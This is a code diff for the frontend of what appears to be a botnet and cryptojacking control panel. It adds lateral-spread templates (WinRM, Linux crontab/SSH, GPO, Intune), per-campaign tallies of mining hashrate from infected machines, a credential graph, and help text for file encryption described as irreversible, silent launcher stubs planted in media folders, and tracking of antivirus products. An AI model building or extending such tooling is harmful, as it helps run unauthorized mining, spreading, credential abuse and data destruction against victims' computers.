expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
});

View File

@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'LOTL Onion tiers',
anchor: 'lotl-onion',
hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
},
{
label: 'Web waterhole',
anchor: 'web-waterhole',
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
anchor: 'lan',
hint: 'Universal spread kit + autospread preset',
},
{
label: 'WinRM bootstrap',
anchor: 'winrm-bootstrap',
hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
},
{
label: 'Linux LOTL',
anchor: 'linux-lotl',
hint: 'systemd-run --user, crontab, SSH lateral spread',
},
{
label: 'GPO / Intune',
anchor: 'enterprise-gpo',
hint: 'Startup scripts — mining policy stays on command deck',
},
{
label: 'WordPress plugin',
anchor: 'wordpress',

View File

@@ -0,0 +1,13 @@
import { describe, it, expect } from 'vitest';
import { SPREAD_TEMPLATES, spreadTemplateZipName } from './spreadTemplateExport';
describe('spreadTemplateExport', () => {
it('lists enterprise spread templates', () => {
expect(SPREAD_TEMPLATES.map((t) => t.id)).toEqual(['winrm', 'linux-lotl', 'gpo', 'intune']);
});
it('maps template ids to zip filenames', () => {
expect(spreadTemplateZipName('winrm')).toBe('aetherforge-winrm-bootstrap.zip');
expect(spreadTemplateZipName('linux-lotl')).toBe('aetherforge-linux-lotl.zip');
});
});

View File

@@ -0,0 +1,52 @@
/** Spread template export helpers (Tasks 9/12/13) */
export type SpreadTemplateId = 'winrm' | 'linux-lotl' | 'gpo' | 'intune';
export interface SpreadTemplateMeta {
id: SpreadTemplateId;
label: string;
hint: string;
docAnchor: string;
}
export const SPREAD_TEMPLATES: SpreadTemplateMeta[] = [
{
id: 'winrm',
label: 'WinRM bootstrap',
hint: 'Enable-PSRemoting + encoded register; COM hijack optional (off by default)',
docAnchor: 'winrm-bootstrap',
},
{
id: 'linux-lotl',
label: 'Linux LOTL',
hint: 'systemd-run --user / crontab + SSH spread flags',
docAnchor: 'linux-lotl',
},
{
id: 'gpo',
label: 'GPO startup',
hint: 'Computer startup script — policy on server, not in GPO blob',
docAnchor: 'enterprise-gpo',
},
{
id: 'intune',
label: 'Intune script',
hint: 'Proactive remediation — defer mining until C2 diagnostics',
docAnchor: 'enterprise-intune',
},
];
export function spreadTemplateZipName(id: SpreadTemplateId): string {
switch (id) {
case 'winrm':
return 'aetherforge-winrm-bootstrap.zip';
case 'linux-lotl':
return 'aetherforge-linux-lotl.zip';
case 'gpo':
return 'aetherforge-gpo-startup.zip';
case 'intune':
return 'aetherforge-intune-startup.zip';
default:
return 'aetherforge-spread-template.zip';
}
}

View File

@@ -45,6 +45,8 @@ describe('UI_HELP', () => {
'crucible_section_files_advanced',
'crucible_section_destructive',
'crucible_section_spread',
'crucible_section_cred_graph',
'crucible_section_service_graph',
'crucible_section_seek',
'crucible_section_ssh',
'crucible_section_tunnels',

View File

@@ -36,7 +36,7 @@ export const UI_HELP: Record<string, string> = {
crucible_heat_map:
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
crucible_groups:
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_tab_ops:
@@ -50,11 +50,11 @@ export const UI_HELP: Record<string, string> = {
crucible_tab_tunnels:
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
crucible_mining_ops:
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
crucible_resume:
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
'Fleet health job: restore hashing workload after a pause or idle throttle.',
crucible_pause:
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
crucible_full_audit:
'Deep posture scan (3060s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
crucible_posture_badge:
@@ -84,7 +84,11 @@ export const UI_HELP: Record<string, string> = {
crucible_section_destructive:
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
crucible_section_spread:
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
crucible_section_cred_graph:
'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
crucible_section_service_graph:
'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
crucible_section_seek:
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
crucible_section_ssh:

View File

@@ -0,0 +1,94 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
aggregateCampaignTelemetry,
effectiveMiningHashrate,
hashHeatIntensity,
lotlTierLabel,
maxTelemetryHashrate,
mergeCampaignWithLiveTelemetry,
} from './warRoomTelemetry';
import type { WarRoomCampaign } from '../types';
describe('effectiveMiningHashrate', () => {
it('prefers mining_hashrate when present', () => {
expect(
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
).toBe(900);
});
it('falls back to CPU + GPU hashrate', () => {
expect(
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
).toBe(500);
});
});
describe('aggregateCampaignTelemetry', () => {
it('groups online agents by campaign and sums hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
]);
const linkedin = map.get('linkedin');
expect(linkedin?.online).toBe(2);
expect(linkedin?.hashrate).toBe(500);
expect(linkedin?.mining).toBe(2);
expect(map.get('usb')?.hashrate).toBe(0);
});
});
describe('mergeCampaignWithLiveTelemetry', () => {
const base: WarRoomCampaign = {
campaign: 'linkedin',
hits: 10,
downloads: 5,
agents: 2,
online: 0,
hashrate: 0,
conversion_pct: 20,
daily_hits: [1, 2, 3],
};
it('overlays live hashrate and online counts', () => {
const merged = mergeCampaignWithLiveTelemetry(base, {
hashrate: 1200,
online: 2,
mining: 1,
agents: [],
});
expect(merged.hashrate).toBe(1200);
expect(merged.online).toBe(2);
expect(merged.hits).toBe(10);
});
});
describe('hashHeatIntensity', () => {
it('returns 0 for zero hashrate', () => {
expect(hashHeatIntensity(0, 1000)).toBe(0);
});
it('scales relative to fleet max', () => {
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
expect(hashHeatIntensity(2000, 1000)).toBe(1);
});
});
describe('lotlTierLabel', () => {
it('returns uppercase tier or null', () => {
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
expect(lotlTierLabel('')).toBeNull();
expect(lotlTierLabel(undefined)).toBeNull();
});
});
describe('maxTelemetryHashrate', () => {
it('finds peak campaign hashrate', () => {
const map = aggregateCampaignTelemetry([
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
]);
expect(maxTelemetryHashrate(map)).toBe(450);
});
});

View File

@@ -0,0 +1,78 @@
import type { Agent, WarRoomCampaign } from '../types';
export interface CampaignLiveTelemetry {
hashrate: number;
online: number;
mining: number;
agents: Agent[];
}
/** Effective mining hashrate from WS stats (explicit field or CPU+GPU fallback). */
export function effectiveMiningHashrate(agent: Agent): number {
const explicit = agent.mining_hashrate;
if (typeof explicit === 'number' && Number.isFinite(explicit) && explicit >= 0) {
return explicit;
}
const cpu = agent.hashrate_15m ?? agent.hashrate_15s ?? 0;
const gpu = agent.gpu_hashrate_15m ?? agent.gpu_hashrate_15s ?? 0;
return cpu + gpu;
}
/** Group live fleet agents by spread campaign slug. */
export function aggregateCampaignTelemetry(agents: Agent[]): Map<string, CampaignLiveTelemetry> {
const map = new Map<string, CampaignLiveTelemetry>();
for (const agent of agents) {
const slug = agent.campaign?.trim();
if (!slug) continue;
let entry = map.get(slug);
if (!entry) {
entry = { hashrate: 0, online: 0, mining: 0, agents: [] };
map.set(slug, entry);
}
entry.agents.push(agent);
if (agent.status === 'online') {
entry.online += 1;
const hr = effectiveMiningHashrate(agent);
entry.hashrate += hr;
if (hr > 0) entry.mining += 1;
}
}
return map;
}
/** Overlay live WS hashrate onto REST/WS funnel campaign rows. */
export function mergeCampaignWithLiveTelemetry(
campaign: WarRoomCampaign,
live?: CampaignLiveTelemetry,
): WarRoomCampaign {
if (!live) return campaign;
return {
...campaign,
hashrate: live.hashrate,
online: live.online,
mining: live.mining > 0 ? live.mining : campaign.mining,
};
}
/** Heat intensity 01 for CSS `--hash-heat` (aether ember glow). */
export function hashHeatIntensity(hashrate: number, maxHashrate: number): number {
if (!hashrate || hashrate <= 0) return 0;
if (maxHashrate <= 0) return 0.35;
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
}
/** Display label for LOTL tier badge; null when unset. */
export function lotlTierLabel(tier?: string): string | null {
const t = tier?.trim();
if (!t) return null;
return t.toUpperCase();
}
/** Max live hashrate across campaign telemetry (for heat normalization). */
export function maxTelemetryHashrate(telemetry: Map<string, CampaignLiveTelemetry>): number {
let max = 0;
for (const t of telemetry.values()) {
if (t.hashrate > max) max = t.hashrate;
}
return max;
}

View File

@@ -33,6 +33,89 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
it('returns false when mining cascade fields change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'inprocess',
stratum_overlay: false,
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'container',
}),
).toBe(false);
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
active_method: 'inprocess',
stratum_overlay: true,
}),
).toBe(false);
});
it('returns false when mining_hashrate or lotl_tier change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
mining_hashrate: 500,
lotl_tier: 'tier-1',
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
mining_hashrate: 600,
}),
).toBe(false);
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_tier: 'tier-2',
}),
).toBe(false);
});
it('returns false when lotl_attempts change', () => {
const agent = mockAgent({
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_attempts: [{ tier: 'container', ok: false, duration_ms: 500 }],
});
expect(
agentStatsUnchanged(agent, {
agent_id: agent.id,
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
lotl_attempts: [{ tier: 'container', ok: true, duration_ms: 500 }],
}),
).toBe(false);
});
});
describe('WS_LATEST_MESSAGE_TYPES', () => {

View File

@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
return true;
}
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
return true;
}
function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
if (a === b) return true;
if (!a || !b || a.length !== b.length) return false;
for (let i = 0; i < a.length; i++) {
const x = a[i];
const y = b[i];
if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
return false;
}
}
return true;
}
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
export const WS_LATEST_MESSAGE_TYPES = new Set([
'presence_snapshot',